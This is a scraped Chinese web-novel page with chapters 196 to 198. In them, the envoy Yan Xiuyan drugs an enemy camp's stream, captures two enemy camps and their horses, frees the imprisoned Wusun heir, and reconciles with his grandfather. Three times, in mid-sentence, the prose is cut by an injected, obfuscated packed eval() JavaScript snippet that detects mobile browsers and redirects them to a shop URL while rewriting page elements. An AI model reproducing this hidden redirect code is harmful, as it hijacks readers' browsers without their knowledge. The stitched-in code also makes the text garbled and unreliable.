野兔在林间飞快跳跃穿梭,一路带着众人避开乱石荆棘,精准找到了敌军营地赖以生存的河流上游源头。 燕修延抬手比出一个噤声蛰伏的手势,一行人默契颔首放轻脚步,借着岸边茂密的草木与巨石掩护,迅速俯身藏匿身形,屏住所有气息,悄然蛰伏窥探。 没过片刻,河岸下游传来一阵杂乱厚重的脚步声。 燕修延悄悄探头望了一眼,又迅速收回目光,脸上露出几分诡异的神色。 一群赤裸上身的人扎堆在水中洗澡。 这些人怎么想的?在上游洗澡,下游打水吃? 河风裹挟着士兵的话语清晰传来,一口正宗的乌孙话入耳,燕修延能听懂七八分。 “咱们到底还要在这里耗多久?什么时候才能撤兵回去?” “不知道,这枯燥的行军日子我真是受够了!日日都是粗茶硬饼半点滋味无有!” “谁说不是呢!你们有没有觉得近来大虞边关的军队实力越来越强了?” “直接把‘觉得’去掉!你瞧瞧大虞士兵身上的战甲,精致坚固、寒光凛冽,件件都是上等好物,我看着都眼馋得很。” “明日咱们就悄悄摸过去,抢几件战甲回来!” “最近几次咱们都没讨到半点好处,反倒折损了不少人手,再打下去怕是难有胜算,我是真的不想再耗在这里了,我想回去。” “回去?你想被当叛徒杀了,我还不想吃你的肉当作军粮呢!” 196. 不是,哪样啊? 不好意思,今天我们可要过来抢你们了~ 燕修延唇角轻轻一勾,笑意漫在眼底却半点温和的意味都无,反倒透着几分促狭的冷意。 沥老伸手指指他,费力把自己耷拉的嘴角硬生生往上扯,五官挤成一团:你笑的模样也太可怕了。 燕修延故意微微抬颚,龇出一口整齐的白牙,眼底恶趣味翻涌:再乱讲就把你丢出去,给外头这群人搓后背。 沥老浑身一僵,整张脸皮绷得紧紧的,连呼吸都放轻半分,只敢缩着脖子往旁边挪了挪,生怕这人真说到做到给自己丢出去。 折腾大半时辰那群人才陆续从水边离开,燕修延慢悠悠走出去,手里拎着一只封得严实的瓷瓶,抬手将满满一整瓶澄澈透亮的液体尽数倒入刚才那群人洗澡的溪流。 锦似程看得好奇探头凑上前打量水面漾开的淡淡薄光,忍不住发问:“这瓶里装的是什么?” 燕修延垂眸看着潺潺流水,随口扯了个好听名头:“十全十美复方神仙水。” 混了十种效果不相同的药,无毒,就是药效发作起来不大体面。 说完,燕修延抬手挥了挥示意众人就近寻处树荫歇脚。 他自怀中摸出一包风干紧实的肉干,又解下腰间贴身系着的水囊,倚着树干席地而坐,撕一块肉干嚼得津津有味,再仰头灌一大口清水。 幸好自己出来前特意备了水,不然还得去喝那群乌孙人的洗澡水——他宁愿不喝。 安静等候至天色擦黑,暮色顺着山峦缓缓铺落,一行人沿着溪水顺流缓步往下走。 位于中游的整片营地已经乱作一团,此起彼伏的怪叫、哭喊、疯癫调笑混杂在晚风里听得人头皮发麻。 “有鬼啊啊啊——救命!” “痛痛飞飞,我给你呼呼别打我好不好~” “苍天在上啊,我是真的心悦于你啊!句句属实~” “狗屁的大将军,老子隐忍许久早就看你不顺眼了!” “这位大爷啊,过来同我玩玩啊~” 除了早已知道药性的燕修延,其他人全都僵在原地,脸上如同遭惊雷劈中一般,满眼震惊。 锦似程喉结滚动两下,干巴巴吐出一句评价:“燕大人调配的药,神啦!” 只是这场面实在太过辣眼睛。 他下意识移开视线,不忍细看。 营中空地上乌孙兵东倒西歪,一群不成人样的牛鬼蛇神。 一个衣衫凌乱的壮汉猛地扑到燕修延脚边,脑袋往他鞋面上蹭,嘴里含糊不清地嘟囔说他鞋上沾了尘土甘愿俯身替他舔舐干净。 燕修延眉峰一蹙,毫不留情抬脚狠狠将人踹开。 那人滚出去数尺远,依旧不死心,爬起来又跌跌撞撞朝他冲来。 燕修延轻轻啧一声,语气里满是懊悔:“失策了,不该什么药都混到一块的,本来想带你们来看点乐子的,没料到药效这般失控。” 乌孙现任国王夺权上位后,这人骨子里都……都这么扭曲变态的嘛。 又一名壮汉双目泛红疯疯癫癫追在他身后,哭喊着求他拿鞭子抽打自己。 燕修延耐着性子接连抬脚将人一一踢开,直到踹开第九个纠缠不休的乌孙兵后,地上折腾许久的众人眼皮一翻,两眼一闭,直挺挺倒在地上陷入昏睡。 “蒙汗药的药效总算压过其余药效,起效了。” 燕修延侧过头冲身后背着一大捆粗麻绳的士兵扬扬下巴,语气干脆利落:“动手,把地上所有人捆牢,串成一串儿,别漏下一个。” 吩咐完捆人的差事,他又扭头看向手足无措的沥老:“你去把营地内所有马匹尽数带回去。” 沥老额间沁出一层细密冷汗,目光怯怯扫过满地同样打滚疯癫的马:“马喝了溪水,也全都跟着发疯啊?” 燕修延一脸理所当然,仿佛这是再寻常不过的事:“对啊,不然还能如何?马的体质本就比人强悍反应已经算是轻的了。” 沥老盯着翻滚片刻后四肢一软、静静瘫倒在地陷入昏迷的马,顿时犯了难:“可、可马已经全都昏睡不醒了,我只操控清醒的动物没试过操控昏迷的动物。” 燕修延轻“啧”了一声,那表情好像在说:不是吧不是吧,这点小事都办不好,你这么没用的? 沥老心里委屈却不敢表露半分怒意,半句反驳也不敢说,只能硬着头皮走上前,小心翼翼取出随身药粉掰开马嘴将药末灌进去,随后举起腰间兽笛,抵在唇边缓缓吹奏。 原本瘫软在地的马四肢轻轻蹬了两下,竟真的闭着双眼晃晃悠悠撑着身子站起来,温顺立在原地等候差遣。 锦似程在一旁看得眼睛发亮,惊叹出声:“哎呦喂,你这手段也太牛啦!” 沥老抬手擦擦满额头的冷汗,长长松了口气,紧绷的脊背总算放松下来。 乌孙营地足足驻有一千多人,其中有没中招的,在同伴出现疯癫失态时就心知溪水有异,所以躲进帐篷之中屏气敛息藏在暗处,只等燕修延一行人靠近,伺机暗中偷袭。 他们的帐篷是一个挨着一个的,之前中了药的人全都疯跑到空地撒欢,反倒将帐篷一带衬得安静死寂。 燕修延缓步走到一排排紧紧挨靠的帐篷前,脚步不疾不徐,他心里清楚暗处肯定藏着不少尚存理智的人,他也在静静等候他们按捺不住主动现身。 在一顶看起来藏匿人数最多的帐篷前站定,燕修延随意掏了掏耳朵:“啧,倒是挺沉得住气的。” 锦似程疑惑:“嗯。” “所有人往后退。” 燕修延自袖中摸出一颗改造过的雷火丸,威力不上不下伤人不足扰人绰绰有余。 他手臂蓄力一扬,雷火丸裹挟劲风直直掷进帐篷之内。 “轰隆!” 帐篷缝隙涌出大股刺目的黄烟,呛人的异味随风四散。 “咳咳咳!” 帐篷里传来此起彼伏剧烈的咳嗽声,内里躲藏的人涕泗横流,双眼被烟气熏得无法睁开,连连拍打帐篷布想要冲出来,嘴里痛苦咒骂不停全然分不清周遭方向。 锦似程鼻尖依稀闻到一点味道,面色微妙地皱起眉头:“燕大人,你这些物件好用,但似乎都不太……不太寻常。” 又辣又臭的味道,呛得人胸腔发疼。 燕修延神色平淡,理直气壮回道:“对付心怀歹意的敌人,干嘛用寻常温和的法子?” 待帐内黄烟缓缓散尽,三名涕泪糊满脸、双目红肿难睁的乌孙人跌跌撞撞爬出来,士兵立刻上前将三人反手捆牢。 燕修延运起几分内力,清亮浑厚的乌孙话传遍整片营地:“尚且清醒的人,主动走出帐篷束手就擒。我清楚你们藏匿的每一处角落,要么自行现身要么我直接点火烧尽所有营帐。” 锦似程不解侧头询问:“你扔的这个雷火丸挺好用的啊,为什么要放火烧营?” 燕修延投给他一记恨铁不成钢的眼神,无奈叹气:“不争气、不张浪费,我方刚那颗雷火丸不过是拿来试探虚实,烧帐才是节省的法子。” 锦似程下意识缩缩脖子,这恨铁不成钢的目光跟他爹平日里训他时如出一辙。 片刻等候,帐篷内依旧毫无动静,无人主动出来。 倒是有寒芒自帐篷缝隙激射而出,直奔众人面门。 燕修延手腕一转,腰间短匕首瞬间出鞘。 “叮”的一声脆响,锋利暗器撞上刀刃,坠落在地。 众人低头看去,暗器尖部泛着一层诡异的莹绿,显然淬有剧毒。 燕修延沉声提醒身侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646354|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人:“都记牢,日后对敌万万不可徒手去接飞来暗器。” 他弯腰欲自一旁火堆拾起一根燃烧正旺的木头。 腰间动作刚落,又有三枚暗器齐发,速度迅猛刁钻。 锦似程心头一紧,高声提醒:“小心!” 说着他抄起身侧一口铁锅上前半步,打算举锅格挡,可一股轻巧却不容抗拒的力道将他整个人提溜着后领拽开。 三枚暗器擦着刚才锦似程站立的位置扎入土中。 燕修延一手拎着悬空离地的锦似程,一手握着熊熊燃烧的火把,几步踏出稳稳站在暗器射出的帐篷前三步开外。 “虽说你刚才上前没起到什么作用,但心意我收下了还是得同你说声谢谢。” 锦似程双脚悬空晃悠,他指指地面:“真要谢我,就先把我放下来,谢谢。” 这样显得他跟小鸡仔似的,很丢人的! “哦。” 燕修延松开手,锦似程双脚落地踉跄两步才站稳。 只见他抬手直接将手中火把掷向身旁一顶帐篷布幔。 锦似程瞠目结舌:“还真烧啊?” “不然呢?” 燕修延挑眉,语气漫不经心。 人家都“唰唰唰”的接连甩出淬毒暗器了唉! 咋滴,他难不成还要站在这里同他们动之以情、晓之以理啊? 风势恰好顺着营地吹过,火苗沾着帆布迅速蔓延,一顶又一顶帐篷接连燃起冲天火光,噼啪燃烧声响不绝于耳。 躲在帐内的人忍受不住烈焰烘烤,只得捂着口鼻仓皇冲出逃命。 燕修延用麻绳搓好数个活结套圈,冲每一个奔逃出来的人精准抛出绳圈,一套一个准,牢牢缚住对方。 其他人也有样学样,绳圈翻飞,但凡清醒逃窜的人无一漏网尽数被捆作一团。 帐篷烧完了,火也就差不多都灭了。 等所有藏匿的清醒士卒全部捉拿完毕,捆人用的粗麻绳已然彻底告罄。 燕修延扫了眼满地昏睡不醒、如同死猪一般的乌孙人,干脆上前一把扯下每个人腰间束身腰带,权当捆缚绳索。 他吩咐士兵交错捆绑,一人双手与另一人双脚牢牢系在一处,两两相连如此就算途中有人药效褪去清醒过来,彼此牵制也绝无独自逃脱的可能。 沥老蹲在地上,也跟着众人一同扯下敌军腰带捆人,捆到一半忽然停下动作,面露迟疑:“不对啊,这般把所有人腰带都抽走,难不成我们要押着一群光腚的人回去?” 燕修延脑中下意识浮现一千多人衣衫散乱、腰腹空空的画面,你还别说,真挺壮观的。 “没事,他们上衣尚且能遮大——上衣不够长啊?遮不住也无关紧要,反正光的不是你的腚。” 沥老琢磨片刻觉得这话有理,于是放下顾虑,手上动作轻快不少,兴高采烈地挨个抽起俘虏腰间腰带。 他正扯得顺手,一抬头,猝不及防对上燕修延略带复杂的眼神。 沥老:? 燕修延唇角弯起一抹浅淡笑意,话里藏着几分调侃:“没想到,你是这样的沥老啊。” 沥老:?? 他一头雾水,追问:“不是,哪样啊?我哪里不对啦?” 锦似程听明白了燕修延其中的打趣,当场拍着大腿笑得前仰后合:“燕大人说你喜欢抽别人腰带呢!” 沥老抬手指向四周忙活的士兵:“他们不也在抽腰带捆人!” 燕修延微微倾身,目光饶有兴致落在他身上,语气意味深长:“旁人抽腰带皆是例行差事,唯独你动手时笑意藏都藏不住。” ———————————— 半夜,沥老醒来,睁着眼睛:不是,他有病吧……等会,难道我真的成为变态啦? 197. 乌孙原继承人出现 将乌孙营地的人尽数捆完,派了两名身形利落的士兵持信号弹戒备守着。 余下的人紧随燕修延的脚步,继续前行约莫半个时辰,前方沉沉黑暗中跳出一簇簇跳动的明火。 羯国营地死寂得诡异,唯有跳动的篝火时不时发出几声清脆的“哔啵”声,炸裂点点星火落于漆黑的地面上。 帐篷外面的空地上密密麻麻躺满了羯国士兵。 燕修延抱着胳膊,狭长的眼眸微微眯起。 难道全中招啦? 众人分散开来,快速将整片营地探查搜罗,还真是尽数昏迷倒地。 唯独一具锈迹斑斑的铁笼和笼中蜷缩的人,与满地昏迷的壮汉格格不入。 女子衣料磨损不堪,沾染着尘土与暗红血渍,肌肤上布满深浅交错的伤痕,眉眼清丽却带着一身傲骨,哪怕身陷囹圄、满身狼狈也难掩与生俱来的王族气度。 这应该就是供词中提及的乌孙原继承人——乌昆曜霜。 供词中不是说她一直囚禁在羯国地牢嘛,为何会被转移到这荒郊野外的军营之中,关在铁笼之内? 燕修延弯腰在铁笼旁昏迷的守卫身上快速摸索,很快摸出一串冰凉的钥匙。 指尖转动“咔哒”一声轻响,沉重的铁笼锁应声而开。 他侧身抬手,示意身后两名士兵上前搀扶。 笼中女子抬眸,漆黑的眼底带着一丝疲惫却无半分怯懦。 她微微摇头撑着冰冷的铁栏缓缓站起:“不必费心,我尚可自行走动,能跟上你们的脚步。” “行。” 燕修延视线顺势扫向不远处篝火上架着的铁锅,里面还剩些食物。 “他们这伙食……挺别致。” 锦似程凑过头来盯着锅中的食物:“就这,他们所有人都吃了?” 燕修延轻轻点头,目光扫过满地昏迷的羯兵。 沥老望着锅内的食物,他认得这些:“在我的部落里,这些是用来喂牲口的。” 大家目光一致落在昏迷的羯国士兵和满身伤痕、傲骨不屈的女子脸上,异口同声:“真是不折不扣的牲口啊。” 他们依着刚才收服乌孙营地的法子,熟练上前抽下腰带,将遍地昏迷的士兵串连串。 沥老就一个任务:给马喂药。 幸亏他早有准备,带的多。 大家分工协作,有条不紊,等彻底清扫完整片营地时,天已经快泛起鱼肚白了。 兵不血刃,共计获得战俘两千三百四十五人、战马四百五十六匹,全程无一人伤亡,堪称奇迹。 接应的人从别的地方绕路准时赶来汇合。 冯大哥看到密密麻麻被捆缚整齐、躺满一地的人,先是满脸震惊转瞬之间浓烈的自豪与欣喜涌上眉眼。 燕修延昨日离开时,就说让他备好人手、绳索前来此地接应。 他还以为只是摸清敌军布防,届时众人合围强攻,万万没有想到是来捡人的。 冯大哥毫不收敛心底的赞叹,用力拍在燕修延的肩头:“好弟弟,你智谋无双、胆识过人,是冯家儿郎中最为出色的!” 沉重的力道落下燕修延身形一晃,险些被拍得踉跄倒地。 他当即垮起一张脸:“大哥!我绑了一晚上的人,腰都快直不起来了,你还下这么重的手,我要跟冯娘亲告状去!” 冯大哥朗声大笑,眼底宠溺又骄傲:“是大哥鲁莽了!来来来,大哥背你回去歇息!” 燕修延摇头拒绝:“不要,这般狼狈模样有损我嗜血威严的名声。” 冯大哥忍笑颔首目光落在燕修延身侧、满身伤痕、身姿纤细的女子身上:“嘶……这、这姑娘是怎么回事?难不成你是打算背着伟恒偷偷纳妾?” “大哥!!” 燕修延炸毛:“我回去就跟冯娘亲狠狠告你一状!” 见小弟炸毛的模样,冯大哥笑得越发开怀:“好好好,是大哥口无遮拦。回去就让娘罚我,你是想看笤帚丝抽还是想看木条打手?任你挑选。” 锦似程看得目瞪口呆,当哥哥的还能这样呢? 他叹了口气,别人家的哥哥温和宠溺、别人家的娘亲温柔护短,别人家的爹爹宽厚慈爱,呜呜呜,别人家还有个书令媳妇儿——算了,这个就不羡慕了,男媳妇儿肯定没女媳妇儿柔软贴心。 燕修延略一思忖,眼底闪过一丝狡黠:“让二嫂抽二哥吧,大家一同热闹热闹,也算同乐。” 这个时候,已经有人眯着朦胧的眼悠悠转醒,许是药性未完全褪去,头脑昏沉暴躁,张嘴就用晦涩粗犷的羯国语言大声叫嚷,语气凶悍,咿呀唔嚷的。 嚷嚷最大声、闹得最凶的那名络腮胡大汉获得了一只臭鞋子作为早餐。 就是这“早餐”的口感极差,难嚼、异味直冲口鼻,浓烈的味道席卷整个口腔。 那名羯兵双眼一翻,喉咙一阵作呕,连挣扎的力气都没有直接被浓重的异味熏得再次昏死过去。 冯大哥收敛笑意,上前调度指挥命士兵们将所有俘虏重新捆绑加固,解开原本相连的腰间皮带重新串成整齐的人链。 这样,刚才遍地横躺的人被尽数拖拽起身,变成一排排笔直站立、动弹不得的人串。 不愿意走的,臭鞋封口熏晕再牢牢绑住双脚,直接丢上随军马背,任由马匹驮运。 战马就靠沥老吹笛子精准操控进退行止,省心又稳妥。 回去的路上,冯大哥望着身后浩浩荡荡、尽数被俘的队伍、望着缴获的战马由衷感慨出声:“这才是真正意义上的兵不血刃,千古少见!” 燕修延跟在身侧:“嗯,就是有些伤眼睛。” 满是络腮胡还有胸毛丛生的魁梧大汉,药性发作神志不清之际,姿态妖娆搔首弄姿说什么“大爷来玩”真的是…… 那画面冲击力实在太强,简直辣眼睛。 以后这中药必须慎用、少用。 燕修延害怕晚上做梦梦见——万一梦见谢伟恒长着这般浓密络腮胡、满身粗硬胸毛,用这般轻浮的语气对着他喊“哥哥”。 …… 仅仅是脑补一瞬,燕修延就浑身不自在。 不敢想、不敢想。 实在是太可怕了。 带着数千俘虏、数百战马回到军营,整座军营都彻底沸腾了。 冯父见状大喜当即传令全军,今晚杀猪全军同乐,犒劳所有将士。 跟随燕修延深入敌营、立下奇功的二十名士兵此刻个个神采飞扬,手里拎着新鲜猪蹄,围在一众同僚之间,眉飞色舞、绘声绘色地讲述着这次夜袭的全过程。 大家听得目不转睛,时而心惊时而惊叹,连连发出感慨。 “是嘛?” “嚯!真有巧思!” “原来燕正使身手这么好的!” 一时间,全军上下无人不佩服燕修延的胆识与智谋,敬佩的心油然而生。 军营僻静无人的地方,冯老爷子独自盘腿坐于青石之上,身前摆着一坛老酒,他抬手仰头对着天边明月大口灌下醇厚烈酒,酒液顺着唇角滑落,浸湿衣襟。 看着人声鼎沸的热闹景象,看着那抹穿梭在篝火人群中、肆意洒脱、意气风发的身影,老爷子紧绷多年的嘴角不受控制地缓缓扬起,藏不住的欣慰与骄傲。 “父亲。” 冯父提着一对卤得油亮入味的猪耳朵过来,在老爷子身侧落座,将手中吃食递过去:“给。” 老爷子依旧望着天边月色,淡淡摇头:“你自己吃吧,年岁大了夜里吃这些荤腥油腻肠胃不适。” “哦。” 冯父也不客气,坦然收回手捏起一块猪耳朵慢慢悠悠嚼着:“我幺儿怎么样?” 老爷子鼻腔里轻轻哼出一声:“那是我的孙儿,自然是万里挑一、极好的。” 冯父侧眸看去,清晰看见老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646355|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子无论如何刻意压制都压不下去的上扬唇角,回头看了眼在篝火前大口喝酒、大口吃肉的幺儿 “我没说错吧,这小子进了军营是如鱼得水,天赋尽显。” 不管用什么手段,无需金戈铁马、浴血厮杀,仅凭一己智谋就兵不血刃生擒数千敌军,这般能耐,放眼全军年轻一辈无人能出其右。 现在军营中,无论是资历深厚的老将还是同龄年少的新兵,无一不对燕修延高看三分心底满是心悦诚服。 尤其是今天一起去的二十名士兵,简直要神话了燕修延。 冯老爷子低声轻笑一声。 冯父从中听出藏不住的自豪。 他趁机开口,意有所指:“父亲,陛下已经登基一年了。” 冯老爷子沉默不语,只静静看着天边明月,心绪深沉。 “幺儿应该还不知道。” 冯父放缓语气:“你把他小时候穿的衣服都一并带过来,时常无人之时偷偷拿出来翻看。” “咔嚓”一声脆响响起。 冯老爷子五指收紧,掌心猛地发力,手中厚重的酒坛瞬间碎裂开来,酒水混着碎片四溅落地。 他转头双目圆睁,吹胡子瞪眼:“你皮痒了?!” 面对父亲的怒火,冯父淡定自若,嘴里细细嚼着猪耳朵的脆骨,半点不惧,慢悠悠开口:“幺儿肯定知道你当初执意与他划清界限、刻意疏远是为了保全他,也是为了万一夺位失败,遁逃京城后有个去处。” 冯老爷子伸手精准揪住冯父的耳朵,力道不轻不重:“这些话你去他面前说了?!” “没有没有,绝对没有!” 冯父讨饶,连连摇头,随即又笑意盈盈,语气笃定:“幺儿这般通透聪慧,心里肯定猜得通透——有些事情你知道了不也是睁一只眼闭一只眼么。” 这些年,镖局源源不断送来的物资、银钱都是交给他大儿子,一次又一次的,当真没有一点风声传到老爷子耳中? 他反正不信。 每每军中添置的衣衫、战甲、兵器、粮草什么的,老爷子从来不多问、不深究是怎么来的。 肯定心中有数。 冯老爷子松了揪着他耳朵的手,冷哼一声,语气带着固执与执拗:“总之,你不许在他面前多嘴多舌。” 不管他用意是什么,当初狠心、做的决绝的人是他,现在跑去告诉小孙孙他做的这些绝情事都是苦衷、都是深意,再让小孙孙来认他,这种事,他做不出来。 这样的话他的小孙孙这些年独自打拼、隐忍成长、受尽冷眼疏离的苦楚与艰辛,又该算什么? 小孙孙凭自己的本事站对了人、身居要职、前程坦荡,彻底摆脱了当年的凶险困局,过上安稳顺遂的日子,他何须跑来做这锦上添花、博取温情的无用之人? “父亲啊父亲。” 冯父起身后退一步:“你这辈子真是又轴又犟,拉磨的老驴都没你犟。” 说完他扭头拔腿就跑,刚跑出两步瞥见不远处悄然靠近的身影又停下来。 冯老爷子望着他逃窜的背影,又好气又好笑,头也不抬地扬声骂了一句:“臭小子!” 轻手轻脚、打算悄悄摸过来蹭酒吃的燕修延,脚步一顿:“臭小子骂谁?” 冯父回头:“臭小子肯定是骂你的!——好啊,胆子越来越大了连你冯爹的便宜都敢占!” —————————————— 注: 乌孙原继承人名字的由来: “昆”源自乌孙国君主的尊号“昆弥”,在突厥语中亦有“太阳”之意,代表着至高无上的权力与光明; “曜”指日月星辰的光芒,象征着不可直视的强大与威严; “霜”则带有大漠边塞的冷冽与肃杀。 乌昆曜霜——这个名字寓意她如烈日般耀眼强大,又如寒霜般冷酷无情,是带着王权之威来执行复仇的利刃。 198. 他怎么不自己生! 冯父挽起袖口,俯身利落脱下脚上的鞋追着燕修延抽。 “爷爷救我!” 燕修延一头扎进冯老爷子的怀里,双臂环住老爷子的腰,脑袋埋在对方衣襟间。 【啊啊啊!!爷爷救我!】 冯老爷子神情恍惚一瞬,以前燕修延每每闯祸惹当今太后生气时,都是这样毫无顾忌地扑进怀里找他庇护的。 他和燕修延吵架、彻底决裂离开那天,燕修延从头到尾都垂着眼,神色淡淡,看不出情绪来。 燕修延扬起头来看着冯老爷子,嘴角高高挂起惯有的嬉皮笑脸:“爷爷,你儿子打我!你可得护住你的孙子。” 【爷爷,你儿子欺负我!你得为孙儿做主啊!】 冯老爷子垂落浑浊的眸子细细看着窝在自己怀中的燕修延。 时隔许久未见,比印象中的胖了些、白了些,是养得极好的模样。 那双灵动狡黠的眸子澄澈透亮,干干净净,看不见半分过往争执的芥蒂,亦无半点疏离隔阂,一如儿时那般纯粹赤诚。 冯父在原地静静看着自己的父亲和干儿子亲昵相依。 良久,冯老爷子才缓缓抬唇,带着几分纵容的笑意,轻声问道:“那,你想爷爷怎么揍他?” 燕修延乌黑的眼珠子骨碌一转,报出心底的主意,理直气壮道:“打他屁股!让他下次不敢再随便凶我!” 冯父气笑了,抬脚就朝燕修延的方向作势踹去,眉眼间满是无奈:“你小子才是真的欠揍!” “嗯?” 冯老爷子只轻轻斜睨冯父一眼,语调平淡却自带一股积年的威严。 刚才还气势十足的冯父瞬间像被掐住了气焰,老老实实收回抬起的脚:“我欠揍。” 燕修延埋在冯老爷子怀里笑得肩头发颤,双臂依旧紧紧抱着老爷子不肯撒手,黏人的模样十足。 “你这么紧抱着老爷子,他年纪大了,身子受不住,会不舒服的。” 燕修延格外听话的调整姿势,侧身躺下将脑袋枕在冯老爷子的腿上,四肢舒展,甚至随意地架起二郎腿,姿态散漫又松弛。 冯父看得眉头紧蹙:“吊儿郎当的。” 话音落地,冯老爷子淡淡抬眼扫了他一下。 冯父噤声,乖乖闭紧嘴巴,心底却忍不住腹诽: 瞧瞧,孙子主动回头理你、跟你亲近,你心里怕是早就乐开花了吧!但凡你这宝贝孙子撒个娇,你就分不清东南西北、是非不分起来!之前还嘴硬跟我置气说再也不管他!如今倒是半点都记不得了! 真是昏聩!不明事理!亲爹! 燕修延全然没在意冯父的怨念,抬起手轻轻揪了揪冯老爷子下颌处花白的胡子:“爷爷,我的军队你都调教好了吧?回头再帮我调教一批精锐重骑出来呗。” 大虞现下轻骑战力尚可,足以应对寻常战事,可重骑一直是军中短板。 因为本土马匹耐力有限、资质平平,长途奔袭、负重作战皆有欠缺,故而重骑部队始终无法成建制、成规模,难以撑起大规模硬仗。 冯老爷子低头看着枕在自己腿上、眉眼灵动的少年,眼底盛满宠溺的笑意,慢悠悠开口:“刚回来就开始使唤爷爷了?倒是一点不客气。” 燕修延咧嘴露出一口牙,笑得狡黠又明媚,抬眼看着老爷子:“就说爷爷帮不帮我嘛。” “帮,肯定帮。” 冯老爷子毫不犹豫一口应下。 坐在一旁的冯父看着其乐融融的祖孙二人,只觉得自己从头到脚都格格不入,多余得刺眼。 他原本还在盘算着,该如何找契机缓和爷孙之间的隔阂,好好撮合二人见面,把当年的心结彻底解开。 现在看来,纯属多虑。 合着没他什么事儿啊。 冯父忍不住轻哼一声,带着几分不服气开口插话:“什么叫你的军队?就算老爷子年老退居、不再治军,军中还有你冯爹我坐镇轮不到你冲锋。” 燕修延懒懒掀下眼皮,姿态散漫:“冯爹,长江后浪推前浪,我是后浪。” 冯父一时语滞,片刻后依旧不服气地反驳:“你从未正经从军,又没上过真正的沙场。” 燕修延嘴角噙着得意的笑意:“我带二十三人生擒敌军两千多人、和陛下并肩征战,一路披荆斩棘亲手推翻旧朝。” 冯父:“……” 行,这波,他输了。 冯老爷子爽朗洪亮的笑声响起,满是欣慰:“好!后生可畏啊!后生可畏!” 冯父默默撇嘴,他也算半个后生吧。 待笑声渐渐停歇,冯老爷子垂眸看着身前的燕修延眼底泛起淡淡的追忆之色。 燕修延刚出生,燕家夫妇让他为其取名。他立于庭院之中等候时随手拿起一本诗集,微风徐徐吹得书页簌簌翻动,一连掀开好几页。 他一眼就看到其中一句“人生当贵盛,修德可延之。” 就是这一眼,他当即定下名字“修延”。 那时候还以为这个眉眼精致的小孙孙,日后必能文武双全、前程坦荡。 “结果你气跑的教书夫子两只手都数不过来,写出来的字更是歪歪扭扭,像鸡爪刨出来的一般,好在啊,你格外擅长兵事,于行军布阵、战术谋略之上极具天赋巧思。” 冯老爷子以前常与燕修延对弈沙盘,少年年纪尚小却总能跳出常规、不按常理出牌,奇招百出,常常打得他措手不及。 只是那些计策,刁钻狡黠,带点损人的小聪明。 燕修延听着老爷子细数过往,笑得眉眼弯弯,半点不心虚,反倒凑趣开口:“没事啊爷爷,我文墨不行却给你讨了个满腹经纶、学问顶尖的孙媳妇儿,刚好互补。” 冯老爷子微微一怔,眼底满是意外,连忙问道:“你成亲了?何时的事?是哪家的姑娘这般优秀?” 燕修延转头瞥了一眼冯父:爷爷还不知道啊? 冯父绷着一张脸:我不敢说啊,怕你爷爷动怒。 短暂的沉默后,冯老爷子眼底涌上满心欣慰:“成亲好啊,大丈夫成家立业,你已立业,如今成家就是圆满。” “是啊。” 燕修延干笑一声,语气略显微妙。 冯老爷子依旧好奇,追问道:“到底是哪家的闺秀?说来爷爷听听。” 燕修延抬手摸了摸鼻尖,收敛了嬉皮笑脸,轻声道:“爷爷,不是姑娘。” 空气倏然安静下来。 冯老爷子浑浊的眸子微微凝滞,沉默片刻:“那……是哪家的公子?” 燕修延见老爷子神色平静,无半分震怒厌弃,彻底放下心来,坦然道出名字:“是谢家谢伟恒。” 说完,他又特意补了一句:“谢伟恒现在是书令了。” 冯老爷子这般年纪,见多识广,军中也曾见过不少偏爱同性的人,故而并不觉得荒唐。 只是他没想过,自己从小疼到大、肆意张扬的小孙孙会喜欢男子还跟男子成亲。 细细回想谢伟恒的模样,其人身姿挺拔、品貌端方,性情温润儒雅,有礼有节,身居高位却沉稳端正,是世间难得的良人。 冯老爷子若有所思,语气带着几分老一辈的固有想法:“原来你喜欢这样的,无妨,以后纳一房妾室,生儿育女,延续香火就是。” 燕修延眨眨眼,连忙纠正,语气格外认真:“爷爷,是我嫁给他。” “什么?!” 这下,冯老爷子彻底变了神色,陡然抬高了嗓音,满眼震惊,难以置信地看着眼前的少年:“你竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646356|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然喜欢他喜欢到甘愿委身下嫁?” 下……嫁,倒也算不上,论才情地位他是高嫁吧? 重点根本不在这! 燕修延轻轻拍了拍冯老爷子的胳膊安抚情绪:“爷爷你别担心,他特意写了誓婚书,白纸黑字立誓此生绝不纳妾、绝不负我。” 冯父全程噤若寒蝉,大气不敢喘一口,默默当个透明人。 他心里清楚得很,老爷子若是知道自己早就知情却一直刻意隐瞒不报,怕是真要扒了他一层皮。 “这根本不是纳妾的问题。” 